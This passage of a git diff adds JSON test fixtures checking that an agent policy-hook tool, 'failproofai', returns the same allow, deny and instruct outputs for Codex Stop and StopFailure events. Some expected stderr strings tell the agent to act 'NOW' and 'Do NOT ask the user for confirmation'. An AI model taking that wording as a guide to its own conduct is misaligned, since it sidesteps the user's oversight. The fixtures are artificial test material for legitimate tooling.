@@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Stop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/Stop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..0ade1bed --- /dev/null +++ b/__tests__/parity/fixtures/codex/Stop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Stop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/Stop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..1fcde4c4 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Stop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Stop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/Stop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..7fc31c3b --- /dev/null +++ b/__tests__/parity/fixtures/codex/Stop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Stop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/Stop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c6874ad9 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Stop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Stop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/Stop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..8a102cdb --- /dev/null +++ b/__tests__/parity/fixtures/codex/Stop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Stop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/Stop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..a85be083 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Stop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Stop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/Stop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..a7762184 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Stop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Stop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/Stop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..e3f022a5 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Stop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Stop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/Stop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..f1876dd2 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Stop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/StopFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/StopFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..78aa016b --- /dev/null +++ b/__tests__/parity/fixtures/codex/StopFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/StopFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/StopFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..44cf1af7 --- /dev/null +++ b/__tests__/parity/fixtures/codex/StopFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/StopFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/StopFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..5b4f7758 --- /dev/null +++ b/__tests__/parity/fixtures/codex/StopFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/StopFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/StopFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..1af92853 --- /dev/null +++ b/__tests__/parity/fixtures/codex/StopFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/StopFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/StopFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..386df4cd --- /dev/null +++ b/__tests__/parity/fixtures/codex/StopFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/StopFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/StopFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..7067fa63 --- /dev/null +++ b/__tests__/parity/fixtures/codex/StopFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/StopFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/StopFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..369742b9 --- /dev/null +++ b/__tests__/parity/fixtures/codex/StopFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/StopFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/StopFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..9689b92b --- /dev/null +++ b/__tests__/parity/fixtures/codex/StopFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/StopFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/StopFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..6addd295 --- /dev/null +++ b/__tests__/parity/fixtures/codex/StopFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/StopFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/StopFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..83ff4b94 --- /dev/null +++ b/__tests__/parity/fixtures/codex/StopFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + 